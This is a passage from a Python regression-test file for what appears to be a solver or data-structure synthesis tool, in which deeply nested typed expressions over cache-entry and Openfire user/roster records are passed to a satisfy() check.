'Invalid'))), ('inUse', TBool()))))), 'val').with_type(TRecord((('key', TNative('uint64_t')), ('pixmap', TNative('QPixmap *')), ('indexData', TNative('QByteArray')), ('memSize', TInt()), ('diskSize', TInt()), ('st', TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))), ('inUse', TBool())))), 'st').with_type(TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))))).with_type(TMap(THandle('Entry', TRecord((('key', TNative('uint64_t')), ('pixmap', TNative('QPixmap *')), ('indexData', TNative('QByteArray')), ('memSize', TInt()), ('diskSize', TInt()), ('st', TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))), ('inUse', TBool())))), TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid')))))).with_type(TMap(THandle('Entry', TRecord((('key', TNative('uint64_t')), ('pixmap', TNative('QPixmap *')), ('indexData', TNative('QByteArray')), ('memSize', TInt()), ('diskSize', TInt()), ('st', TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))), ('inUse', TBool())))), TMap(THandle('Entry', TRecord((('key', TNative('uint64_t')), ('pixmap', TNative('QPixmap *')), ('indexData', TNative('QByteArray')), ('memSize', TInt()), ('diskSize', TInt()), ('st', TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))), ('inUse', TBool())))), TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))))), ELambda(EVar('_var15873').with_type(TMap(THandle('Entry', TRecord((('key', TNative('uint64_t')), ('pixmap', TNative('QPixmap *')), ('indexData', TNative('QByteArray')), ('memSize', TInt()), ('diskSize', TInt()), ('st', TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))), ('inUse', TBool())))), TMap(THandle('Entry', TRecord((('key', TNative('uint64_t')), ('pixmap', TNative('QPixmap *')), ('indexData', TNative('QByteArray')), ('memSize', TInt()), ('diskSize', TInt()), ('st', TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))), ('inUse', TBool())))), TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))))), EUnaryOp('not', EBinOp(EMapGet(EVar('_var15873').with_type(TMap(THandle('Entry', TRecord((('key', TNative('uint64_t')), ('pixmap', TNative('QPixmap *')), ('indexData', TNative('QByteArray')), ('memSize', TInt()), ('diskSize', TInt()), ('st', TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))), ('inUse', TBool())))), TMap(THandle('Entry', TRecord((('key', TNative('uint64_t')), ('pixmap', TNative('QPixmap *')), ('indexData', TNative('QByteArray')), ('memSize', TInt()), ('diskSize', TInt()), ('st', TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))), ('inUse', TBool())))), TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))))), EVar('_var15871').with_type(THandle('Entry', TRecord((('key', TNative('uint64_t')), ('pixmap', TNative('QPixmap *')), ('indexData', TNative('QByteArray')), ('memSize', TInt()), ('diskSize', TInt()), ('st', TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))), ('inUse', TBool())))))).with_type(TMap(THandle('Entry', TRecord((('key', TNative('uint64_t')), ('pixmap', TNative('QPixmap *')), ('indexData', TNative('QByteArray')), ('memSize', TInt()), ('diskSize', TInt()), ('st', TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))), ('inUse', TBool())))), TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid')))), '==', EMapGet(EVar('_var15873').with_type(TMap(THandle('Entry', TRecord((('key', TNative('uint64_t')), ('pixmap', TNative('QPixmap *')), ('indexData', TNative('QByteArray')), ('memSize', TInt()), ('diskSize', TInt()), ('st', TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))), ('inUse', TBool())))), TMap(THandle('Entry', TRecord((('key', TNative('uint64_t')), ('pixmap', TNative('QPixmap *')), ('indexData', TNative('QByteArray')), ('memSize', TInt()), ('diskSize', TInt()), ('st', TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))), ('inUse', TBool())))), TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))))), EVar('_var15872').with_type(THandle('Entry', TRecord((('key', TNative('uint64_t')), ('pixmap', TNative('QPixmap *')), ('indexData', TNative('QByteArray')), ('memSize', TInt()), ('diskSize', TInt()), ('st', TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))), ('inUse', TBool())))))).with_type(TMap(THandle('Entry', TRecord((('key', TNative('uint64_t')), ('pixmap', TNative('QPixmap *')), ('indexData', TNative('QByteArray')), ('memSize', TInt()), ('diskSize', TInt()), ('st', TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))), ('inUse', TBool())))), TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))))).with_type(TBool())).with_type(TBool()))).with_type(TBool())).with_type(TBool()), vars=OrderedSet([EVar('_var15871').with_type(THandle('Entry', TRecord((('key', TNative('uint64_t')), ('pixmap', TNative('QPixmap *')), ('indexData', TNative('QByteArray')), ('memSize', TInt()), ('diskSize', TInt()), ('st', TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))), ('inUse', TBool()))))), EVar('_var15872').with_type(THandle('Entry', TRecord((('key', TNative('uint64_t')), ('pixmap', TNative('QPixmap *')), ('indexData', TNative('QByteArray')), ('memSize', TInt()), ('diskSize', TInt()), ('st', TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))), ('inUse', TBool()))))), EVar('entries').with_type(TBag(THandle('Entry', TRecord((('key', TNative('uint64_t')), ('pixmap', TNative('QPixmap *')), ('indexData', TNative('QByteArray')), ('memSize', TInt()), ('diskSize', TInt()), ('st', TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))), ('inUse', TBool()))))))]), collection_depth=2, validate_model=True)
def test_regression9(self):
e = ELet(EMakeMap2(EVar('entries').with_type(TBag(THandle('Entry', TRecord((('key', TNative('uint64_t')), ('pixmap', TNative('QPixmap *')), ('indexData', TNative('QByteArray')), ('memSize', TInt()), ('diskSize', TInt()), ('st', TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))), ('inUse', TBool())))))), ELambda(EVar('_var1315').with_type(THandle('Entry', TRecord((('key', TNative('uint64_t')), ('pixmap', TNative('QPixmap *')), ('indexData', TNative('QByteArray')), ('memSize', TInt()), ('diskSize', TInt()), ('st', TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))), ('inUse', TBool()))))), EMakeMap2(EFilter(EVar('entries').with_type(TBag(THandle('Entry', TRecord((('key', TNative('uint64_t')), ('pixmap', TNative('QPixmap *')), ('indexData', TNative('QByteArray')), ('memSize', TInt()), ('diskSize', TInt()), ('st', TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))), ('inUse', TBool())))))), ELambda(EVar('_var1314').with_type(THandle('Entry', TRecord((('key', TNative('uint64_t')), ('pixmap', TNative('QPixmap *')), ('indexData', TNative('QByteArray')), ('memSize', TInt()), ('diskSize', TInt()), ('st', TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))), ('inUse', TBool()))))), EBinOp(EGetField(EGetField(EVar('_var1315').with_type(THandle('Entry', TRecord((('key', TNative('uint64_t')), ('pixmap', TNative('QPixmap *')), ('indexData', TNative('QByteArray')), ('memSize', TInt()), ('diskSize', TInt()), ('st', TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))), ('inUse', TBool()))))), 'val').with_type(TRecord((('key', TNative('uint64_t')), ('pixmap', TNative('QPixmap *')), ('indexData', TNative('QByteArray')), ('memSize', TInt()), ('diskSize', TInt()), ('st', TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))), ('inUse', TBool())))), 'st').with_type(TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))), '==', EEnumEntry('Disk').with_type(TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid')))).with_type(TBool()))).with_type(TBag(THandle('Entry', TRecord((('key', TNative('uint64_t')), ('pixmap', TNative('QPixmap *')), ('indexData', TNative('QByteArray')), ('memSize', TInt()), ('diskSize', TInt()), ('st', TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))), ('inUse', TBool())))))), ELambda(EVar('_var1314').with_type(THandle('Entry', TRecord((('key', TNative('uint64_t')), ('pixmap', TNative('QPixmap *')), ('indexData', TNative('QByteArray')), ('memSize', TInt()), ('diskSize', TInt()), ('st', TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))), ('inUse', TBool()))))), EGetField(EGetField(EVar('_var1314').with_type(THandle('Entry', TRecord((('key', TNative('uint64_t')), ('pixmap', TNative('QPixmap *')), ('indexData', TNative('QByteArray')), ('memSize', TInt()), ('diskSize', TInt()), ('st', TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))), ('inUse', TBool()))))), 'val').with_type(TRecord((('key', TNative('uint64_t')), ('pixmap', TNative('QPixmap *')), ('indexData', TNative('QByteArray')), ('memSize', TInt()), ('diskSize', TInt()), ('st', TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))), ('inUse', TBool())))), 'st').with_type(TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))))).with_type(TMap(THandle('Entry', TRecord((('key', TNative('uint64_t')), ('pixmap', TNative('QPixmap *')), ('indexData', TNative('QByteArray')), ('memSize', TInt()), ('diskSize', TInt()), ('st', TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))), ('inUse', TBool())))), TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid')))))).with_type(TMap(THandle('Entry', TRecord((('key', TNative('uint64_t')), ('pixmap', TNative('QPixmap *')), ('indexData', TNative('QByteArray')), ('memSize', TInt()), ('diskSize', TInt()), ('st', TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))), ('inUse', TBool())))), TMap(THandle('Entry', TRecord((('key', TNative('uint64_t')), ('pixmap', TNative('QPixmap *')), ('indexData', TNative('QByteArray')), ('memSize', TInt()), ('diskSize', TInt()), ('st', TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))), ('inUse', TBool())))), TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))))), ELambda(EVar('_var15873').with_type(TMap(THandle('Entry', TRecord((('key', TNative('uint64_t')), ('pixmap', TNative('QPixmap *')), ('indexData', TNative('QByteArray')), ('memSize', TInt()), ('diskSize', TInt()), ('st', TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))), ('inUse', TBool())))), TMap(THandle('Entry', TRecord((('key', TNative('uint64_t')), ('pixmap', TNative('QPixmap *')), ('indexData', TNative('QByteArray')), ('memSize', TInt()), ('diskSize', TInt()), ('st', TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))), ('inUse', TBool())))), TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))))), EUnaryOp('not', EBinOp(EMapGet(EVar('_var15873').with_type(TMap(THandle('Entry', TRecord((('key', TNative('uint64_t')), ('pixmap', TNative('QPixmap *')), ('indexData', TNative('QByteArray')), ('memSize', TInt()), ('diskSize', TInt()), ('st', TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))), ('inUse', TBool())))), TMap(THandle('Entry', TRecord((('key', TNative('uint64_t')), ('pixmap', TNative('QPixmap *')), ('indexData', TNative('QByteArray')), ('memSize', TInt()), ('diskSize', TInt()), ('st', TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))), ('inUse', TBool())))), TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))))), EVar('_var15871').with_type(THandle('Entry', TRecord((('key', TNative('uint64_t')), ('pixmap', TNative('QPixmap *')), ('indexData', TNative('QByteArray')), ('memSize', TInt()), ('diskSize', TInt()), ('st', TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))), ('inUse', TBool())))))).with_type(TMap(THandle('Entry', TRecord((('key', TNative('uint64_t')), ('pixmap', TNative('QPixmap *')), ('indexData', TNative('QByteArray')), ('memSize', TInt()), ('diskSize', TInt()), ('st', TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))), ('inUse', TBool())))), TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid')))), '==', EMapGet(EVar('_var15873').with_type(TMap(THandle('Entry', TRecord((('key', TNative('uint64_t')), ('pixmap', TNative('QPixmap *')), ('indexData', TNative('QByteArray')), ('memSize', TInt()), ('diskSize', TInt()), ('st', TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))), ('inUse', TBool())))), TMap(THandle('Entry', TRecord((('key', TNative('uint64_t')), ('pixmap', TNative('QPixmap *')), ('indexData', TNative('QByteArray')), ('memSize', TInt()), ('diskSize', TInt()), ('st', TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))), ('inUse', TBool())))), TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))))), EVar('_var15872').with_type(THandle('Entry', TRecord((('key', TNative('uint64_t')), ('pixmap', TNative('QPixmap *')), ('indexData', TNative('QByteArray')), ('memSize', TInt()), ('diskSize', TInt()), ('st', TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))), ('inUse', TBool())))))).with_type(TMap(THandle('Entry', TRecord((('key', TNative('uint64_t')), ('pixmap', TNative('QPixmap *')), ('indexData', TNative('QByteArray')), ('memSize', TInt()), ('diskSize', TInt()), ('st', TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))), ('inUse', TBool())))), TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))))).with_type(TBool())).with_type(TBool()))).with_type(TBool())
satisfy(e, collection_depth=2, validate_model=True)
def test_regression10(self):
e = ELet(EMakeMap2(EVar('entries').with_type(TBag(THandle('Entry', TRecord((('key', TNative('uint64_t')), ('pixmap', TNative('QPixmap *')), ('indexData', TNative('QByteArray')), ('memSize', TInt()), ('diskSize', TInt()), ('st', TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))), ('inUse', TBool())))))), ELambda(EVar('_var1315').with_type(THandle('Entry', TRecord((('key', TNative('uint64_t')), ('pixmap', TNative('QPixmap *')), ('indexData', TNative('QByteArray')), ('memSize', TInt()), ('diskSize', TInt()), ('st', TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))), ('inUse', TBool()))))), EMakeMap2(EFilter(EVar('entries').with_type(TBag(THandle('Entry', TRecord((('key', TNative('uint64_t')), ('pixmap', TNative('QPixmap *')), ('indexData', TNative('QByteArray')), ('memSize', TInt()), ('diskSize', TInt()), ('st', TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))), ('inUse', TBool())))))), ELambda(EVar('_var1314').with_type(THandle('Entry', TRecord((('key', TNative('uint64_t')), ('pixmap', TNative('QPixmap *')), ('indexData', TNative('QByteArray')), ('memSize', TInt()), ('diskSize', TInt()), ('st', TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))), ('inUse', TBool()))))), EBinOp(EGetField(EGetField(EVar('_var1315').with_type(THandle('Entry', TRecord((('key', TNative('uint64_t')), ('pixmap', TNative('QPixmap *')), ('indexData', TNative('QByteArray')), ('memSize', TInt()), ('diskSize', TInt()), ('st', TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))), ('inUse', TBool()))))), 'val').with_type(TRecord((('key', TNative('uint64_t')), ('pixmap', TNative('QPixmap *')), ('indexData', TNative('QByteArray')), ('memSize', TInt()), ('diskSize', TInt()), ('st', TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))), ('inUse', TBool())))), 'st').with_type(TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))), '==', EEnumEntry('Disk').with_type(TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid')))).with_type(TBool()))).with_type(TBag(THandle('Entry', TRecord((('key', TNative('uint64_t')), ('pixmap', TNative('QPixmap *')), ('indexData', TNative('QByteArray')), ('memSize', TInt()), ('diskSize', TInt()), ('st', TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))), ('inUse', TBool())))))), ELambda(EVar('_var1314').with_type(THandle('Entry', TRecord((('key', TNative('uint64_t')), ('pixmap', TNative('QPixmap *')), ('indexData', TNative('QByteArray')), ('memSize', TInt()), ('diskSize', TInt()), ('st', TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))), ('inUse', TBool()))))), EGetField(EGetField(EVar('_var1314').with_type(THandle('Entry', TRecord((('key', TNative('uint64_t')), ('pixmap', TNative('QPixmap *')), ('indexData', TNative('QByteArray')), ('memSize', TInt()), ('diskSize', TInt()), ('st', TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))), ('inUse', TBool()))))), 'val').with_type(TRecord((('key', TNative('uint64_t')), ('pixmap', TNative('QPixmap *')), ('indexData', TNative('QByteArray')), ('memSize', TInt()), ('diskSize', TInt()), ('st', TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))), ('inUse', TBool())))), 'st').with_type(TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))))).with_type(TMap(THandle('Entry', TRecord((('key', TNative('uint64_t')), ('pixmap', TNative('QPixmap *')), ('indexData', TNative('QByteArray')), ('memSize', TInt()), ('diskSize', TInt()), ('st', TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))), ('inUse', TBool())))), TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid')))))).with_type(TMap(THandle('Entry', TRecord((('key', TNative('uint64_t')), ('pixmap', TNative('QPixmap *')), ('indexData', TNative('QByteArray')), ('memSize', TInt()), ('diskSize', TInt()), ('st', TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))), ('inUse', TBool())))), TMap(THandle('Entry', TRecord((('key', TNative('uint64_t')), ('pixmap', TNative('QPixmap *')), ('indexData', TNative('QByteArray')), ('memSize', TInt()), ('diskSize', TInt()), ('st', TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))), ('inUse', TBool())))), TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))))), ELambda(EVar('_var15873').with_type(TMap(THandle('Entry', TRecord((('key', TNative('uint64_t')), ('pixmap', TNative('QPixmap *')), ('indexData', TNative('QByteArray')), ('memSize', TInt()), ('diskSize', TInt()), ('st', TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))), ('inUse', TBool())))), TMap(THandle('Entry', TRecord((('key', TNative('uint64_t')), ('pixmap', TNative('QPixmap *')), ('indexData', TNative('QByteArray')), ('memSize', TInt()), ('diskSize', TInt()), ('st', TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))), ('inUse', TBool())))), TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))))), EUnaryOp('not', EBinOp(EMapGet(EVar('_var15873').with_type(TMap(THandle('Entry', TRecord((('key', TNative('uint64_t')), ('pixmap', TNative('QPixmap *')), ('indexData', TNative('QByteArray')), ('memSize', TInt()), ('diskSize', TInt()), ('st', TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))), ('inUse', TBool())))), TMap(THandle('Entry', TRecord((('key', TNative('uint64_t')), ('pixmap', TNative('QPixmap *')), ('indexData', TNative('QByteArray')), ('memSize', TInt()), ('diskSize', TInt()), ('st', TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))), ('inUse', TBool())))), TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))))), EVar('_var15871').with_type(THandle('Entry', TRecord((('key', TNative('uint64_t')), ('pixmap', TNative('QPixmap *')), ('indexData', TNative('QByteArray')), ('memSize', TInt()), ('diskSize', TInt()), ('st', TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))), ('inUse', TBool())))))).with_type(TMap(THandle('Entry', TRecord((('key', TNative('uint64_t')), ('pixmap', TNative('QPixmap *')), ('indexData', TNative('QByteArray')), ('memSize', TInt()), ('diskSize', TInt()), ('st', TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))), ('inUse', TBool())))), TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid')))), '==', EMapGet(EVar('_var15873').with_type(TMap(THandle('Entry', TRecord((('key', TNative('uint64_t')), ('pixmap', TNative('QPixmap *')), ('indexData', TNative('QByteArray')), ('memSize', TInt()), ('diskSize', TInt()), ('st', TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))), ('inUse', TBool())))), TMap(THandle('Entry', TRecord((('key', TNative('uint64_t')), ('pixmap', TNative('QPixmap *')), ('indexData', TNative('QByteArray')), ('memSize', TInt()), ('diskSize', TInt()), ('st', TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))), ('inUse', TBool())))), TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))))), EVar('_var15872').with_type(THandle('Entry', TRecord((('key', TNative('uint64_t')), ('pixmap', TNative('QPixmap *')), ('indexData', TNative('QByteArray')), ('memSize', TInt()), ('diskSize', TInt()), ('st', TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))), ('inUse', TBool())))))).with_type(TMap(THandle('Entry', TRecord((('key', TNative('uint64_t')), ('pixmap', TNative('QPixmap *')), ('indexData', TNative('QByteArray')), ('memSize', TInt()), ('diskSize', TInt()), ('st', TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))), ('inUse', TBool())))), TEnum(('Disk', 'Loading', 'DiskAndMemory', 'MemoryOnly', 'Saving', 'NetworkPending', 'IndexPending', 'Invalid'))))).with_type(TBool())).with_type(TBool()))).with_type(TBool())
satisfy(e.f.apply_to(e.e), collection_depth=2, validate_model=True)
def test_regression11(self):
satisfy(EUnaryOp('not', EBinOp(EUnaryOp('not', EBinOp(EBinOp(EBinOp(EUnaryOp('unique', EMap(EVar('users').with_type(TBag(THandle('User', TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date'))))))), ELambda(EVar('u').with_type(THandle('User', TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date')))))), EGetField(EGetField(EVar('u').with_type(THandle('User', TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date')))))), 'val').with_type(TRecord((('username', TString()), ('salt', TString()), ('storedKey', TString()), ('serverKey', TString()), ('iterations', TInt()), ('name', TString()), ('email', TString()), ('creationDate', TNative('java.util.Date')), ('modificationDate', TNative('java.util.Date'))))), 'username').with_type(TString()))).with_type(TBag(TString()))).with_type(TBool()), 'and', EBinOp(EUnaryOp('unique', EMap(EVar('rosterItems').with_type(TBag(THandle('RosterItem', TRecord((('backendId', TLong()), ('user', TString()), ('target', TNative('org.xmpp.packet.JID')), ('nickname', TString()), ('askStatus', TNative('org.jivesoftware.openfire.roster.RosterItem.AskType')), ('recvStatus', TNative('org.jivesoftware.openfire.roster.RosterItem.RecvType'))))))), ELambda(EVar('i').with_type(THandle('RosterItem', TRecord((('backendId', TLong()), ('user', TString()), ('target', TNative('org.xmpp.packet.JID')), ('nickname', TString()), ('askStatus', TNative('org.jivesoftware.openfire.roster.RosterItem.AskType')), ('recvStatus', TNative('org.jivesoftware.openfire.roster.RosterItem.RecvType')))))), EGetField(EGetField(EVar('i').with_type(THandle('RosterItem', TRecord((('backendId', TLong()), ('user', TString()), ('target', TNative('org.xmpp.packet.JID')), ('nickname', TString()), 